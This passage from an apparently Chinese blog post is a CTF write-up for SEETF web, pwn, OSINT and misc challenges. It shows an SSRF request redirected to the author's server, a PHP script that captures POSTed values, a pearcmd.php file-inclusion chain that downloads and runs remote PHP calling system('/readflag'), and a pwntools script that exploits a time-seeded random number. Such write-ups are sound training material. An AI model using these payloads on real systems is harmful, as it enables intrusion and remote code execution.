15px;word-spacing: 0.1em;">对目标发送一个请求</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="204" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=21c74b2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkiaUk9hYLfmf93ZUwuHzHTTL3mibIByo8VRRqfT6elAevF3g1NHW9UuLA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">双写/绕过</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">http:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//flagportal.chall.seetf.sg:10001//admin?backend=<a href="http://testctf.wgpsec.org" target="_blank">http://testctf.wgpsec.org</a></span><br/><span style="color: #4078f2;line-height: 26px;">&lt;?php</span><br/>  var_dump($_POST);<br/>  var_dump($_SERVER);<br/><span style="color: #4078f2;line-height: 26px;">?&gt;</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="405" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=835956e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkHL7jSSTjgcrb9ib6tUDJlozABibxk2fyqMmf4sCTH57M4okpa67TXWMA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Flag Portal (Flag 2)</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">继续双写绕过</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="273" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ec3e7a83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mk8RZoTF2ag7DaXETH6lz2vdtbWpQbkfE693EppZa4QnS0dtafz1cRcA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据上一题拿出来KEY</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="265" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bb392f88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkwAn1nwSBa3fynhosbufb3aAYbsKXqZ4Mh7Wqe4Kd35zy5a8HKyibpEg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="243" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=02fad6cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mktmSdKpbRshibBSAsicuXNWzic8ibN0df7By8w8iaKCXbknTnQUnoLT6ibetQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #4078f2;line-height: 26px;">&lt;?php</span><br/>$f = fopen(<span style="color: #50a14f;line-height: 26px;">&#34;test.txt&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;w&#34;</span>);<br/>$text = $_POST[<span style="color: #50a14f;line-height: 26px;">&#34;flag&#34;</span>];<br/>fwrite($f, $text);<br/><span style="color: #4078f2;line-height: 26px;">?&gt;</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="164" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=958cfe5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkVmm5aa4uYWAzE2MqSfuRibeCVIZRPHFBfV7ofDuomt6wjib10rQJN1jw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Sourceless Guessy Web (RCE Flag)</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="298" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7eb571f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkDQMLAicSOoibhgicztBeYEp6yl7WdA9SqBqBofSckY4C0B3pKRGXuPvpA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">看到提示联想到 pearcmd</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="111" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=aef213f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkpSLTpqQfD2FLfQjtdSSO29LV2XLe6EoVzGTOJCEHqDPAo1cK2wibiaWw%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">view-source:http:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../usr/local/lib/php/pearcmd.php&amp;+install+-R+/tmp+<a href="http://testctf.wgpsec.org/s.php" target="_blank">http://testctf.wgpsec.org/s.php</a></span><br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//先是 ls / 发现一个readflag 的二进制文件</span><br/><span style="color: #4078f2;line-height: 26px;">&lt;?php</span> system(<span style="color: #50a14f;line-height: 26px;">&#34;/readflag&#34;</span>)<span style="color: #4078f2;line-height: 26px;">?&gt;</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="163" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=78eee65d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkq2lztHOQt7iaVEQTYc1HYIGDCYqLiazhIMuQeUOlyg9xwWicKmRAuiaLmA%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">view-source:http:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../tmp/tmp/pear/download/s.php</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="277" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=248111b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkTU6agxR1Ug2gq2xov4yZ9RQ4pJccBADtqgVSl2ibs06p6Mz22OytwxQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">PWN</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">4mats</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">leak libc_base 查 libc</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="185" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bda622c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkc24mGbS1XsbcnNvT5hEb82thNibA7RtgnGLXaF2Z15ZfG6QfJEmHpLQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">https:<span style="color: #a0a1a7;font-style: italic;line-height: 26px;">//mirror.umd.edu/ubuntu/ubuntu/pool/main/g/glibc/</span><br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="140" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a2ac8298&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkpvM3AQeF1GCWzKq6gLSMiaslzKgxCF19qPkt1CSqvcbibCZPTnbCicD4Q%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a626a4;line-height: 26px;">from</span> pwn <span style="color: #a626a4;line-height: 26px;">import</span> *<br/><span style="color: #a626a4;line-height: 26px;">from</span> ctypes <span style="color: #a626a4;line-height: 26px;">import</span> *<br/><span style="color: #a626a4;line-height: 26px;">from</span> time <span style="color: #a626a4;line-height: 26px;">import</span> *<br/>context.log_level = <span style="color: #50a14f;line-height: 26px;">&#39;debug&#39;</span><br/>p = process(<span style="color: #50a14f;line-height: 26px;">&#39;./testpwn&#39;</span>)<br/><span style="color: #a626a4;line-height: 26px;">if</span> args.R:<br/>    p = remote(<span style="color: #50a14f;line-height: 26px;">&#39;fun.chall.seetf.sg&#39;</span>,<span style="color: #986801;line-height: 26px;">50001</span>)<br/>e = ELF(<span style="color: #50a14f;line-height: 26px;">&#39;./testpwn&#39;</span>)<br/>libc = cdll.LoadLibrary(<span style="color: #50a14f;line-height: 26px;">&#39;libc-2.23.so&#39;</span>)<br/>libc.srand(int(time()))<br/>v8 = libc.random() % <span style="color: #986801;line-height: 26px;">1000000</span><br/>p.sendlineafter(<span style="color: #50a14f;line-height: 26px;">&#39;register:&#39;</span>,<span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>)<br/>p.sendlineafter(<span style="color: #50a14f;line-height: 26px;">&#39;Do I know you?&#39;</span>,<span style="color: #50a14f;line-height: 26px;">&#39;1&#39;</span>)<br/><span style="color: #a626a4;line-height: 26px;">print</span> v8<br/>p.sendlineafter(<span style="color: #50a14f;line-height: 26px;">&#39;number!&#39;</span>,str(v8))<br/>p.interactive()<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="437" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0f2aa912&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkykicQZv8ynJX5JDazicqxiaObdDg1MQbSvPAyKBFJOG5uBgOCF5vKTc5w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">wayyang.py</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">py2input的洞</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="290" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0d71d523&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkWzA9qjRRwialaetzlwZmxs4GURW5jhereChf5A9QgAyw3iaaBy7oHicXQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="248" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=06f05e50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkW09ZAgkl5vayc88pd7iaRbyEOXNicqYnyL0ybLDa0ClsWAyzp8dBgAww%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">OSINT</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Batnet 1</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;margin: 10px 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;"><a href="https://github.com/sherlock-project/sherlock" target="_blank">https://github.com/sherlock-project/sherlock</a></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="260" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=eda8ee0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkkYedEBmfkFOLPOcmNT6uXo5Mqumic9ia6XXnMqP1pL2rSv4rtOM7hNIQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="303" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4e20a46c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkVialD7C66pzHZIoTV77wD4SdFVATFicuv2g235kuSyI27EMymRjYI1Sw%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="148" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=7419b00c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkuUt8zTcQ7KWbanA3GbHyyrsKuBPBNWbUlS9icHZc0DHV4GkMNRGanNA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="314" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bcf6bca7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkGG1rVO6xOef09Z8dZpO5If7ia5TYwjBs2WicuArQ8L15AGAOLx6uwsAA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;text-align: left;margin: 20px 10px 0px 0px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;font-size: 22px;color: #0e88eb;font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid #0e88eb;">Misc</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Join our Discord</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="134" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=593b1fde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkRpzILJhSPj7kMrtyZN9nooDj4JqbBlL9rIKLZGWFTcWjdb6GxjMxXQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="159" data-backw="474" style="max-width: 100%;border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0fa76f11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el7cONGTXeJk4XOQrfGI13mkPXCJffkC4clq15UUkE8kLiaOibnEbiaiay8r5h1w4e752eBRAdMUJtODsA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;font-size: 18px;color: #0e88eb;"><span style="display: none;"></span><span style="font-size: 18px;color: #0e88eb;">Regex101</span><span style="display: none;"></span></h3><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo2EVPiaycnQewpS1PrRVY5Vsdyn7t1wNz9gve518CVOKlS2HEOXwvl2Inn5ckLo0B7GxiaiaVXJBNhP/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">SEE{[A-Z]{<span style="color: #986801;line-height: 26px;">5</span>}[<span style="color: #986801;line-height: 26px;">0</span><span style="color: #986801;line-height: 26px;">-9</span>]{<span style="color: #986801;line-height: 26px;">5</span>}[A-Z]{<span style="color: #986801;line-height: 26px;">6</span>}<br/></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="329" data-backw="474" 